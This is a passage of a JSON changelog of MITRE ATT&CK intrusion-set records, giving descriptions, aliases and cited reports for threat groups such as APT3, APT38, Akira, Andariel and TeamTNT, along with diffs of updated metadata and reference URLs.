\"https://web.archive.org/web/20240119213200/https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf\", \"old_value\": \"https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf\"}}}", + "previous_version": "1.1" + }, + { + "type": "intrusion-set", + "id": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:31:55.853000+00:00", + "modified": "2024-09-16 16:18:53.978000+00:00", + "name": "APT3", + "description": "[APT3](https://attack.mitre.org/groups/G0022) is a China-based threat group that researchers have attributed to China's Ministry of State Security.(Citation: FireEye Clandestine Wolf)(Citation: Recorded Future APT3 May 2017) This group is responsible for the campaigns known as Operation Clandestine Fox, Operation Clandestine Wolf, and Operation Double Tap.(Citation: FireEye Clandestine Wolf)(Citation: FireEye Operation Double Tap) As of June 2015, the group appears to have shifted from targeting primarily US victims to primarily political organizations in Hong Kong.(Citation: Symantec Buckeye)", + "aliases": [ + "APT3", + "Gothic Panda", + "Pirpi", + "UPS Team", + "Buckeye", + "Threat Group-0110", + "TG-0110" + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0022", + "external_id": "G0022" + }, + { + "source_name": "APT3", + "description": "(Citation: FireEye Clandestine Wolf) (Citation: Recorded Future APT3 May 2017) (Citation: Symantec Buckeye)" + }, + { + "source_name": "UPS Team", + "description": "(Citation: FireEye Clandestine Wolf) (Citation: Recorded Future APT3 May 2017) (Citation: Symantec Buckeye)" + }, + { + "source_name": "Pirpi", + "description": "(Citation: PWC Pirpi Scanbox)" + }, + { + "source_name": "Gothic Panda", + "description": "(Citation: PWC Pirpi Scanbox) (Citation: Recorded Future APT3 May 2017) (Citation: Symantec Buckeye)" + }, + { + "source_name": "Threat Group-0110", + "description": "(Citation: Recorded Future APT3 May 2017) (Citation: Symantec Buckeye)" + }, + { + "source_name": "TG-0110", + "description": "(Citation: Recorded Future APT3 May 2017) (Citation: Symantec Buckeye)" + }, + { + "source_name": "Buckeye", + "description": "(Citation: Symantec Buckeye)" + }, + { + "source_name": "FireEye Clandestine Wolf", + "description": "Eng, E., Caselden, D.. (2015, June 23). Operation Clandestine Wolf \u2013 Adobe Flash Zero-Day in APT3 Phishing Campaign. Retrieved January 14, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2015/06/operation-clandestine-wolf-adobe-flash-zero-day.html" + }, + { + "source_name": "Recorded Future APT3 May 2017", + "description": "Insikt Group (Recorded Future). (2017, May 17). Recorded Future Research Concludes Chinese Ministry of State Security Behind APT3. Retrieved September 16, 2024.", + "url": "https://www.recordedfuture.com/research/chinese-mss-behind-apt3" + }, + { + "source_name": "PWC Pirpi Scanbox", + "description": "Lancaster, T. (2015, July 25). A tale of Pirpi, Scanbox & CVE-2015-3113. Retrieved March 30, 2016.", + "url": "http://pwc.blogs.com/cyber_security_updates/2015/07/pirpi-scanbox.html" + }, + { + "source_name": "FireEye Operation Double Tap", + "description": "Moran, N., et al. (2014, November 21). Operation Double Tap. Retrieved January 14, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2014/11/operation_doubletap.html" + }, + { + "source_name": "Symantec Buckeye", + "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.", + "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Patrick Sungbahadoor" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.4", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-16 16:18:53.978000+00:00\", \"old_value\": \"2024-02-06 17:49:35.261000+00:00\"}, \"root['external_references'][9]['description']\": {\"new_value\": \"Insikt Group (Recorded Future). (2017, May 17). Recorded Future Research Concludes Chinese Ministry of State Security Behind APT3. Retrieved September 16, 2024.\", \"old_value\": \"Insikt Group (Recorded Future). (2017, May 17). Recorded Future Research Concludes Chinese Ministry of State Security Behind APT3. Retrieved June 18, 2017.\"}, \"root['external_references'][9]['url']\": {\"new_value\": \"https://www.recordedfuture.com/research/chinese-mss-behind-apt3\", \"old_value\": \"https://www.recordedfuture.com/chinese-mss-behind-apt3/\"}}}", + "previous_version": "1.4" + }, + { + "type": "intrusion-set", + "id": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29 21:27:24.793000+00:00", + "modified": "2024-08-26 16:33:33.984000+00:00", + "name": "APT38", + "description": "[APT38](https://attack.mitre.org/groups/G0082) is a North Korean state-sponsored threat group that specializes in financial cyber operations; it has been attributed to the Reconnaissance General Bureau.(Citation: CISA AA20-239A BeagleBoyz August 2020) Active since at least 2014, [APT38](https://attack.mitre.org/groups/G0082) has targeted banks, financial institutions, casinos, cryptocurrency exchanges, SWIFT system endpoints, and ATMs in at least 38 countries worldwide. Significant operations include the 2016 Bank of Bangladesh heist, during which [APT38](https://attack.mitre.org/groups/G0082) stole $81 million, as well as attacks against Bancomext (Citation: FireEye APT38 Oct 2018) and Banco de Chile (Citation: FireEye APT38 Oct 2018); some of their attacks have been destructive.(Citation: CISA AA20-239A BeagleBoyz August 2020)(Citation: FireEye APT38 Oct 2018)(Citation: DOJ North Korea Indictment Feb 2021)(Citation: Kaspersky Lazarus Under The Hood Blog 2017)\n\nNorth Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups.", + "aliases": [ + "APT38", + "NICKEL GLADSTONE", + "BeagleBoyz", + "Bluenoroff", + "Stardust Chollima", + "Sapphire Sleet", + "COPERNICIUM" + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0082", + "external_id": "G0082" + }, + { + "source_name": "BeagleBoyz", + "description": "(Citation: CISA AA20-239A BeagleBoyz August 2020)" + }, + { + "source_name": "Stardust Chollima", + "description": "(Citation: CrowdStrike Stardust Chollima Profile April 2018)(Citation: CrowdStrike GTR 2021 June 2021)" + }, + { + "source_name": "APT38", + "description": "(Citation: FireEye APT38 Oct 2018)" + }, + { + "source_name": "Bluenoroff", + "description": "(Citation: Kaspersky Lazarus Under The Hood Blog 2017)" + }, + { + "source_name": "Sapphire Sleet", + "description": "(Citation: Microsoft Threat Actor Naming July 2023)" + }, + { + "source_name": "COPERNICIUM", + "description": "(Citation: Microsoft Threat Actor Naming July 2023)" + }, + { + "source_name": "NICKEL GLADSTONE", + "description": "(Citation: SecureWorks NICKEL GLADSTONE profile Sept 2021)" + }, + { + "source_name": "CrowdStrike GTR 2021 June 2021", + "description": "CrowdStrike. (2021, June 7). CrowdStrike 2021 Global Threat Report. Retrieved September 29, 2021.", + "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf" + }, + { + "source_name": "DOJ North Korea Indictment Feb 2021", + "description": "Department of Justice. (2021, February 17). Three North Korean Military Hackers Indicted in Wide-Ranging Scheme to Commit Cyberattacks and Financial Crimes Across the Globe. Retrieved June 9, 2021.", + "url": "https://www.justice.gov/opa/pr/three-north-korean-military-hackers-indicted-wide-ranging-scheme-commit-cyberattacks-and" + }, + { + "source_name": "CISA AA20-239A BeagleBoyz August 2020", + "description": "DHS/CISA. (2020, August 26). FASTCash 2.0: North Korea's BeagleBoyz Robbing Banks. Retrieved September 29, 2021.", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-239a" + }, + { + "source_name": "FireEye APT38 Oct 2018", + "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.", + "url": "https://www.mandiant.com/sites/default/files/2021-09/rpt-apt38-2018-web_v5-1.pdf" + }, + { + "source_name": "Kaspersky Lazarus Under The Hood Blog 2017", + "description": "GReAT. (2017, April 3). Lazarus Under the Hood. Retrieved April 17, 2019.", + "url": "https://securelist.com/lazarus-under-the-hood/77908/" + }, + { + "source_name": "CrowdStrike Stardust Chollima Profile April 2018", + "description": "Meyers, Adam. (2018, April 6). Meet CrowdStrike\u2019s Adversary of the Month for April: STARDUST CHOLLIMA. Retrieved September 29, 2021.", + "url": "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-april-stardust-chollima/" + }, + { + "source_name": "Microsoft Threat Actor Naming July 2023", + "description": "Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.", + "url": "https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide" + }, + { + "source_name": "SecureWorks NICKEL GLADSTONE profile Sept 2021", + "description": "SecureWorks. (2021, September 29). NICKEL GLADSTONE Threat Profile. Retrieved September 29, 2021.", + "url": "https://www.secureworks.com/research/threat-profiles/nickel-gladstone" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack", + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "3.0", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-08-26 16:33:33.984000+00:00\", \"old_value\": \"2024-04-17 22:08:29.146000+00:00\"}, \"root['external_references'][11]['url']\": {\"new_value\": \"https://www.mandiant.com/sites/default/files/2021-09/rpt-apt38-2018-web_v5-1.pdf\", \"old_value\": \"https://content.fireeye.com/apt/rpt-apt38\"}}}", + "previous_version": "3.0" + }, + { + "type": "intrusion-set", + "id": "intrusion-set--46bb06cb-f2d9-4b37-8c92-a27e224ad90d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-02-20 23:59:25.966000+00:00", + "modified": "2024-10-03 10:32:50.221000+00:00", + "name": "Akira", + "description": "[Akira](https://attack.mitre.org/groups/G1024) is a ransomware variant and ransomware deployment entity active since at least March 2023.(Citation: Arctic Wolf Akira 2023) [Akira](https://attack.mitre.org/groups/G1024) uses compromised credentials to access single-factor external access mechanisms such as VPNs for initial access, then various publicly-available tools and techniques for lateral movement.(Citation: Arctic Wolf Akira 2023)(Citation: Secureworks GOLD SAHARA) [Akira](https://attack.mitre.org/groups/G1024) operations are associated with \"double extortion\" ransomware activity, where data is exfiltrated from victim environments prior to encryption, with threats to publish files if a ransom is not paid. Technical analysis of [Akira](https://attack.mitre.org/software/S1129) ransomware indicates multiple overlaps with and similarities to [Conti](https://attack.mitre.org/software/S0575) malware.(Citation: BushidoToken Akira 2023)", + "aliases": [ + "Akira", + "GOLD SAHARA", + "PUNK SPIDER" + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G1024", + "external_id": "G1024" + }, + { + "source_name": "PUNK SPIDER", + "description": "(Citation: CrowdStrike PUNK SPIDER)" + }, + { + "source_name": "GOLD SAHARA", + "description": "(Citation: Secureworks GOLD SAHARA)" + }, + { + "source_name": "CrowdStrike PUNK SPIDER", + "description": "CrowdStrike. (n.d.). Punk Spider. Retrieved February 20, 2024.", + "url": "https://www.crowdstrike.com/adversaries/punk-spider/" + }, + { + "source_name": "Secureworks GOLD SAHARA", + "description": "Secureworks. (n.d.). GOLD SAHARA. Retrieved February 20, 2024.", + "url": "https://www.secureworks.com/research/threat-profiles/gold-sahara" + }, + { + "source_name": "Arctic Wolf Akira 2023", + "description": "Steven Campbell, Akshay Suthar, & Connor Belfiorre. (2023, July 26). Conti and Akira: Chained Together. Retrieved February 20, 2024.", + "url": "https://arcticwolf.com/resources/blog/conti-and-akira-chained-together/" + }, + { + "source_name": "BushidoToken Akira 2023", + "description": "Will Thomas. (2023, September 15). Tracking Adversaries: Akira, another descendent of Conti. Retrieved February 21, 2024.", + "url": "https://blog.bushidotoken.net/2023/09/tracking-adversaries-akira-another.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-03 10:32:50.221000+00:00\", \"old_value\": \"2024-04-08 17:35:16.134000+00:00\"}}}", + "previous_version": "1.0" + }, + { + "type": "intrusion-set", + "id": "intrusion-set--39d6890e-7f23-4474-b8ef-e7b0343c5fc8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-09-29 15:10:19.236000+00:00", + "modified": "2024-09-12 18:36:06.078000+00:00", + "name": "Andariel", + "description": "[Andariel](https://attack.mitre.org/groups/G0138) is a North Korean state-sponsored threat group that has been active since at least 2009. [Andariel](https://attack.mitre.org/groups/G0138) has primarily focused its operations--which have included destructive attacks--against South Korean government agencies, military organizations, and a variety of domestic companies; they have also conducted cyber financial operations against ATMs, banks, and cryptocurrency exchanges. [Andariel](https://attack.mitre.org/groups/G0138)'s notable activity includes Operation Black Mine, Operation GoldenAxe, and Campaign Rifle.(Citation: FSI Andariel Campaign Rifle July 2017)(Citation: IssueMakersLab Andariel GoldenAxe May 2017)(Citation: AhnLab Andariel Subgroup of Lazarus June 2018)(Citation: TrendMicro New Andariel Tactics July 2018)(Citation: CrowdStrike Silent Chollima Adversary September 2021)\n\n[Andariel](https://attack.mitre.org/groups/G0138) is considered a sub-set of [Lazarus Group](https://attack.mitre.org/groups/G0032), and has been attributed to North Korea's Reconnaissance General Bureau.(Citation: Treasury North Korean Cyber Groups September 2019)\n\nNorth Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups.", + "aliases": [ + "Andariel", + "Silent Chollima", + "PLUTONIUM", + "Onyx Sleet" + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0138", + "external_id": "G0138" + }, + { + "source_name": "Silent Chollima", + "description": "(Citation: CrowdStrike Silent Chollima Adversary September 2021)" + }, + { + "source_name": "Andariel", + "description": "(Citation: FSI Andariel Campaign Rifle July 2017)" + }, + { + "source_name": "PLUTONIUM", + "description": "(Citation: Microsoft Threat Actor Naming July 2023)" + }, + { + "source_name": "Onyx Sleet", + "description": "(Citation: Microsoft Threat Actor Naming July 2023)" + }, + { + "source_name": "AhnLab Andariel Subgroup of Lazarus June 2018", + "description": "AhnLab. (2018, June 23). Targeted attacks by Andariel Threat Group, a subgroup of the Lazarus. Retrieved September 29, 2021.", + "url": "https://web.archive.org/web/20230213154832/http://download.ahnlab.com/global/brochure/%5BAnalysis%5DAndariel_Group.pdf" + }, + { + "source_name": "TrendMicro New Andariel Tactics July 2018", + "description": "Chen, Joseph. (2018, July 16). New Andariel Reconnaissance Tactics Uncovered. Retrieved September 29, 2021.", + "url": "https://www.trendmicro.com/en_us/research/18/g/new-andariel-reconnaissance-tactics-hint-at-next-targets.html" + }, + { + "source_name": "CrowdStrike Silent Chollima Adversary September 2021", + "description": "CrowdStrike. (2021, September 29). Silent Chollima Adversary Profile. Retrieved September 29, 2021.", + "url": "https://adversary.crowdstrike.com/en-US/adversary/silent-chollima/" + }, + { + "source_name": "FSI Andariel Campaign Rifle July 2017", + "description": "FSI. (2017, July 27). Campaign Rifle - Andariel, the Maiden of Anguish. Retrieved September 12, 2024.", + "url": "https://fsiceat.tistory.com/2" + }, + { + "source_name": "IssueMakersLab Andariel GoldenAxe May 2017", + "description": "IssueMakersLab. (2017, May 1). Operation GoldenAxe. Retrieved September 12, 2024.", + "url": "http://www.issuemakerslab.com/research3/" + }, + { + "source_name": "Microsoft Threat Actor Naming July 2023", + "description": "Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.", + "url": "https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide" + }, + { + "source_name": "Treasury North Korean Cyber Groups September 2019", + "description": "US Treasury . (2019, September 13). Treasury Sanctions North Korean State-Sponsored Malicious Cyber Groups. Retrieved September 29, 2021.", + "url": "https://home.treasury.gov/news/press-releases/sm774" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Kyoung-ju Kwak (S2W)" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-12 18:36:06.078000+00:00\", \"old_value\": \"2024-01-08 21:55:29.570000+00:00\"}, \"root['external_references'][5]['url']\": {\"new_value\": \"https://web.archive.org/web/20230213154832/http://download.ahnlab.com/global/brochure/%5BAnalysis%5DAndariel_Group.pdf\", \"old_value\": \"http://download.ahnlab.com/global/brochure/%5BAnalysis%5DAndariel_Group.pdf\"}, \"root['external_references'][8]['description']\": {\"new_value\": \"FSI. (2017, July 27). Campaign Rifle - Andariel, the Maiden of Anguish. Retrieved September 12, 2024.\", \"old_value\": \"FSI. (2017, July 27). Campaign Rifle - Andariel, the Maiden of Anguish. Retrieved September 29, 2021.\"}, \"root['external_references'][8]['url']\": {\"new_value\": \"https://fsiceat.tistory.com/2\", \"old_value\": \"https://www.fsec.or.kr/user/bbs/fsec/163/344/bbsDataView/1680.do\"}, \"root['external_references'][9]['description']\": {\"new_value\": \"IssueMakersLab. (2017, May 1). Operation GoldenAxe. Retrieved September 12, 2024.\", \"old_value\": \"IssueMakersLab. (2017, May 1). Operation GoldenAxe. Retrieved September 29, 2021.\"}}}", + "previous_version": "2.0" + }, + { + "type": "intrusion-set", + "id": "intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-08-24 17:01:55.842000+00:00", + "modified": "2024-09-12 19:24:40.416000+00:00", + "name": "Chimera", + "description": "[Chimera](https://attack.mitre.org/groups/G0114) is a suspected China-based threat group that has been active since at least 2018 targeting the semiconductor industry in Taiwan as well as data from the airline industry.(Citation: Cycraft Chimera April 2020)(Citation: NCC Group Chimera January 2021)", + "aliases": [ + "Chimera" + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0114", + "external_id": "G0114" + }, + { + "source_name": "Chimera", + "description": "(Citation: NCC Group Chimera January 2021) " + }, + { + "source_name": "Cycraft Chimera April 2020", + "description": "Cycraft. (2020, April 15). APT Group Chimera - APT Operation Skeleton key Targets Taiwan Semiconductor Vendors. Retrieved August 24, 2020..", + "url": "https://cycraft.com/download/CyCraft-Whitepaper-Chimera_V4.1.pdf" + }, + { + "source_name": "NCC Group Chimera January 2021", + "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved September 12, 2024.", + "url": "https://web.archive.org/web/20230218064220/https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-12 19:24:40.416000+00:00\", \"old_value\": \"2023-03-22 03:25:24.295000+00:00\"}, \"root['external_references'][2]['description']\": {\"new_value\": \"Cycraft. (2020, April 15). APT Group Chimera - APT Operation Skeleton key Targets Taiwan Semiconductor Vendors. Retrieved August 24, 2020..\", \"old_value\": \"Cycraft. (2020, April 15). APT Group Chimera - APT Operation Skeleton key Targets Taiwan Semiconductor Vendors. Retrieved August 24, 2020.\"}, \"root['external_references'][3]['description']\": {\"new_value\": \"Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved September 12, 2024.\", \"old_value\": \"Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021.\"}, \"root['external_references'][3]['url']\": {\"new_value\": \"https://web.archive.org/web/20230218064220/https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/\", \"old_value\": \"https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"3.1.0\"}}}", + "previous_version": "2.2" + }, + { + "type": "intrusion-set", + "id": "intrusion-set--cc613a49-9bfa-4e22-98d1-15ffbb03f034", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-07-01 20:12:30.184000+00:00", + "modified": "2024-09-16 16:18:00.876000+00:00", + "name": "Earth Lusca", + "description": "[Earth Lusca](https://attack.mitre.org/groups/G1006) is a suspected China-based cyber espionage group that has been active since at least April 2019. [Earth Lusca](https://attack.mitre.org/groups/G1006) has targeted organizations in Australia, China, Hong Kong, Mongolia, Nepal, the Philippines, Taiwan, Thailand, Vietnam, the United Arab Emirates, Nigeria, Germany, France, and the United States. Targets included government institutions, news media outlets, gambling companies, educational institutions, COVID-19 research organizations, telecommunications companies, religious movements banned in China, and cryptocurrency trading platforms; security researchers assess some [Earth Lusca](https://attack.mitre.org/groups/G1006) operations may be financially motivated.(Citation: TrendMicro EarthLusca 2022)\n\n[Earth Lusca](https://attack.mitre.org/groups/G1006) has used malware commonly used by other Chinese threat groups, including [APT41](https://attack.mitre.org/groups/G0096) and the [Winnti Group](https://attack.mitre.org/groups/G0044) cluster, however security researchers assess [Earth Lusca](https://attack.mitre.org/groups/G1006)'s techniques and infrastructure are separate.(Citation: TrendMicro EarthLusca 2022)", + "aliases": [ + "Earth Lusca", + "TAG-22", + "Charcoal Typhoon", + "CHROMIUM", + "ControlX" + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G1006", + "external_id": "G1006" + }, + { + "source_name": "Charcoal Typhoon", + "description": "(Citation: Microsoft Threat Actor Naming July 2023)" + }, + { + "source_name": "ControlX", + "description": "(Citation: Microsoft Threat Actor Naming July 2023)" + }, + { + "source_name": "CHROMIUM", + "description": "(Citation: Microsoft Threat Actor Naming July 2023) (Citation: Recorded Future RedHotel August 2023)" + }, + { + "source_name": "TAG-22", + "description": "(Citation: Recorded Future TAG-22 July 2021)" + }, + { + "source_name": "TrendMicro EarthLusca 2022", + "description": "Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca\u2019s Operations. Retrieved July 1, 2022.", + "url": "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf" + }, + { + "source_name": "Recorded Future TAG-22 July 2021", + "description": "INSIKT GROUP. (2021, July 8). Chinese State-Sponsored Activity Group TAG-22 Targets Nepal, the Philippines, and Taiwan Using Winnti and Other Tooling. Retrieved September 16, 2024.", + "url": "https://www.recordedfuture.com/research/chinese-group-tag-22-targets-nepal-philippines-taiwan" + }, + { + "source_name": "Recorded Future RedHotel August 2023", + "description": "Insikt Group. (2023, August 8). RedHotel: A Prolific, Chinese State-Sponsored Group Operating at a Global Scale. Retrieved March 11, 2024.", + "url": "https://go.recordedfuture.com/hubfs/reports/cta-2023-0808.pdf" + }, + { + "source_name": "Microsoft Threat Actor Naming July 2023", + "description": "Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.", + "url": "https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack", + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-16 16:18:00.876000+00:00\", \"old_value\": \"2024-04-10 21:38:24.226000+00:00\"}, \"root['external_references'][6]['description']\": {\"new_value\": \"INSIKT GROUP. (2021, July 8). Chinese State-Sponsored Activity Group TAG-22 Targets Nepal, the Philippines, and Taiwan Using Winnti and Other Tooling. Retrieved September 16, 2024.\", \"old_value\": \"INSIKT GROUP. (2021, July 8). Chinese State-Sponsored Activity Group TAG-22 Targets Nepal, the Philippines, and Taiwan Using Winnti and Other Tooling. Retrieved September 2, 2022.\"}, \"root['external_references'][6]['url']\": {\"new_value\": \"https://www.recordedfuture.com/research/chinese-group-tag-22-targets-nepal-philippines-taiwan\", \"old_value\": \"https://www.recordedfuture.com/chinese-group-tag-22-targets-nepal-philippines-taiwan\"}}}", + "previous_version": "2.0" + }, + { + "type": "intrusion-set", + "id": "intrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c880bca", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-01 01:57:31.229000+00:00", + "modified": "2024-09-16 16:23:56.908000+00:00", + "name": "TeamTNT", + "description": "[TeamTNT](https://attack.mitre.org/groups/G0139) is a threat group that has primarily targeted cloud and containerized environments. The group as been active since at least October 2019 and has mainly focused its efforts on leveraging cloud and container resources to deploy cryptocurrency miners in victim environments.(Citation: Palo Alto Black-T October 2020)(Citation: Lacework TeamTNT May 2021)(Citation: Intezer TeamTNT September 2020)(Citation: Cado Security TeamTNT Worm August 2020)(Citation: Unit 42 Hildegard Malware)(Citation: Trend Micro TeamTNT)(Citation: ATT TeamTNT Chimaera September 2020)(Citation: Aqua TeamTNT August 2020)(Citation: Intezer TeamTNT Explosion September 2021)", + "aliases": [ + "TeamTNT" + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0139", + "external_id": "G0139" + }, + { + "source_name": "ATT TeamTNT Chimaera September 2020", + "description": "AT&T Alien Labs. (2021, September 8). TeamTNT with new campaign aka Chimaera. Retrieved September 22, 2021.", + "url": "https://cybersecurity.att.com/blogs/labs-research/teamtnt-with-new-campaign-aka-chimaera" + }, + { + "source_name": "Cado Security TeamTNT Worm August 2020", + "description": "Cado Security. (2020, August 16). Team TNT \u2013 The First Crypto-Mining Worm to Steal AWS Credentials. Retrieved September 22, 2021.", + "url": "https://www.cadosecurity.com/team-tnt-the-first-crypto-mining-worm-to-steal-aws-credentials/" + }, + { + "source_name": "Unit 42 Hildegard Malware", + "description": "Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021.", + "url": "https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/" + }, + { + "source_name": "Trend Micro TeamTNT", + "description": "Fiser, D. Oliveira, A. (n.d.). Tracking the Activities of TeamTNT A Closer Look at a Cloud-Focused Malicious Actor Group. Retrieved September 22, 2021.", + "url": "https://documents.trendmicro.com/assets/white_papers/wp-tracking-the-activities-of-teamTNT.pdf" + }, + { + "source_name": "Intezer TeamTNT September 2020", + "description": "Fishbein, N. (2020, September 8). Attackers Abusing Legitimate Cloud Monitoring Tools to Conduct Cyber Attacks. Retrieved September 22, 2021.", + "url": "https://www.intezer.com/blog/cloud-security/attackers-abusing-legitimate-cloud-monitoring-tools-to-conduct-cyber-attacks/" + }, + { + "source_name": "Intezer TeamTNT Explosion September 2021", + "description": "Intezer. (2021, September 1). TeamTNT Cryptomining Explosion. Retrieved October 15, 2021.", + "url": "https://www.intezer.com/wp-content/uploads/2021/09/TeamTNT-Cryptomining-Explosion.pdf" + }, + { + "source_name": "Aqua TeamTNT August 2020", + "description": "Kol, Roi. Morag, A. (2020, August 25). Deep Analysis of TeamTNT Techniques Using Container Images to Attack. Retrieved September 22, 2021.", + "url": "https://blog.aquasec.com/container-security-tnt-container-attack" + }, + { + "source_name": "Palo Alto Black-T October 2020", + "description": "Quist, N. (2020, October 5). Black-T: New Cryptojacking Variant from TeamTNT. Retrieved September 22, 2021.", + "url": "https://unit42.paloaltonetworks.com/black-t-cryptojacking-variant/" + }, + { + "source_name": "Lacework TeamTNT May 2021", + "description": "Stroud, J. (2021, May 25). Taking TeamTNT's Docker Images Offline. Retrieved September 16, 2024.", + "url": "https://www.lacework.com/blog/taking-teamtnt-docker-images-offline" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Will Thomas, Cyjax", + "Darin Smith, Cisco" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" 